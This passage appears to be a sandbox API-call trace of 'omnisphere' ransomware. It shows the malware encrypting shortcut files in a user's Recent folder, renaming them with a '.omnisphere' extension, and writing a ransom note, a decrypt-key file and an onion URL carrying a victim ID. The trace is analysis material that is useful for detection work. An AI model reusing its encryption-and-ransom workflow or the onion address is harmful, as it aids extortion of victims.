dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.179] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.179] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.179] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.179] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.179] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.179] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.179] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.179] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.179] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.179] CryptDestroyKey (hKey=0x1639568) returned 1 [0118.179] CryptReleaseContext (hProv=0x1669098, dwFlags=0x0) returned 1 [0118.179] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x28d, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0118.179] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0118.180] GetProcessHeap () returned 0x1600000 [0118.180] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b0) returned 0x169ff28 [0118.180] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\- BGCTQP_oc.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\- bgctqp_oc.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\- BGCTQP_oc.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\- bgctqp_oc.lnk.omnisphere")) returned 1 [0118.180] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\- BGCTQP_oc.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\- BGCTQP_oc.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\- BGCTQP_oc.lnk.omnisphere.id" [0118.180] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\- BGCTQP_oc.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\- bgctqp_oc.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0118.181] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0118.181] CloseHandle (hObject=0x3c0) returned 1 [0118.182] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0118.182] CloseHandle (hObject=0x288) returned 1 [0118.182] SetEndOfFile (hFile=0x28c) returned 1 [0118.183] FlushFileBuffers (hFile=0x28c) returned 1 [0118.186] CloseHandle (hObject=0x28c) returned 1 [0118.187] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\- BGCTQP_oc.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0118.187] GetProcessHeap () returned 0x1600000 [0118.187] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16a01e0 [0118.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0118.187] GetProcessHeap () returned 0x1600000 [0118.187] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693828 [0118.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693828, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0118.187] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0118.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0118.187] GetProcessHeap () returned 0x1600000 [0118.187] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1686ec8 [0118.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1686ec8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0118.187] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0118.187] GetProcessHeap () returned 0x1600000 [0118.187] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x1630d30 [0118.187] PathCombineW (in: pszDest=0x1630d30, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0118.187] GetProcessHeap () returned 0x1600000 [0118.188] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1696690 [0118.188] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.188] WriteFile (in: hFile=0x28c, lpBuffer=0x1696690*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x1696690*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0118.189] CloseHandle (hObject=0x28c) returned 1 [0118.189] GetProcessHeap () returned 0x1600000 [0118.189] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16a01e0 | out: hHeap=0x1600000) returned 1 [0118.189] GetProcessHeap () returned 0x1600000 [0118.189] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0118.190] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0118.190] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.190] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0118.191] CloseHandle (hObject=0x28c) returned 1 [0118.192] GetProcessHeap () returned 0x1600000 [0118.192] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0118.192] GetProcessHeap () returned 0x1600000 [0118.192] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656628 | out: hHeap=0x1600000) returned 1 [0118.192] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x205be1f3, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x205be1f3, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x205be1f3, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x3c9, dwReserved0=0x0, dwReserved1=0xd3, cFileName="-8uAG9oxUf-hK.lnk", cAlternateFileName="-8UAG9~1.LNK")) returned 1 [0118.192] GetProcessHeap () returned 0x1600000 [0118.192] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa4) returned 0x162cec8 [0118.192] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="-8uAG9oxUf-hK.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-8uAG9oxUf-hK.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-8uAG9oxUf-hK.lnk" [0118.192] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0118.192] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-8uAG9oxUf-hK.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-8uag9oxuf-hk.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.192] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=969) returned 1 [0118.192] GetTickCount () returned 0x115d8a9 [0118.192] GetTickCount () returned 0x115d8a9 [0118.192] GetTickCount () returned 0x115d8a9 [0118.192] GetTickCount () returned 0x115d8a9 [0118.192] GetTickCount () returned 0x115d8a9 [0118.192] GetTickCount () returned 0x115d8a9 [0118.192] GetTickCount () returned 0x115d8a9 [0118.192] GetTickCount () returned 0x115d8a9 [0118.192] GetTickCount () returned 0x115d8a9 [0118.192] GetTickCount () returned 0x115d8a9 [0118.192] GetTickCount () returned 0x115d8a9 [0118.192] GetTickCount () returned 0x115d8a9 [0118.192] GetTickCount () returned 0x115d8a9 [0118.192] GetTickCount () returned 0x115d8a9 [0118.192] GetTickCount () returned 0x115d8a9 [0118.193] GetTickCount () returned 0x115d8a9 [0118.193] GetTickCount () returned 0x115d8a9 [0118.193] GetTickCount () returned 0x115d8a9 [0118.193] GetTickCount () returned 0x115d8a9 [0118.193] GetTickCount () returned 0x115d8a9 [0118.193] GetTickCount () returned 0x115d8a9 [0118.193] GetTickCount () returned 0x115d8a9 [0118.193] GetTickCount () returned 0x115d8a9 [0118.193] GetTickCount () returned 0x115d8a9 [0118.193] GetTickCount () returned 0x115d8a9 [0118.193] GetTickCount () returned 0x115d8a9 [0118.193] GetTickCount () returned 0x115d8a9 [0118.193] GetTickCount () returned 0x115d8a9 [0118.193] GetTickCount () returned 0x115d8a9 [0118.193] GetTickCount () returned 0x115d8a9 [0118.193] GetTickCount () returned 0x115d8a9 [0118.193] GetTickCount () returned 0x115d8a9 [0118.193] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668bd0) returned 1 [0118.193] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0118.194] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0118.194] CryptDestroyKey (hKey=0x1639b28) returned 1 [0118.194] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0118.194] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3c9, lpName=0x0) returned 0x288 [0118.194] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3c9) returned 0x1480000 [0118.194] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16683d8) returned 1 [0118.195] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0118.195] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0118.195] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0118.195] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.195] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.195] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.195] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.195] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.195] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.195] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.195] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.195] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.195] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.195] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.195] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.195] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.195] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.195] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.195] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.195] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.195] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.195] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.195] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.195] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.195] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.196] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.196] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.196] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.196] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.196] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.196] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.196] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.196] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.196] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.196] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.196] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.196] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.196] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.196] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.196] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.196] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.196] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.196] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.196] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.196] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.196] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.196] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.196] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: 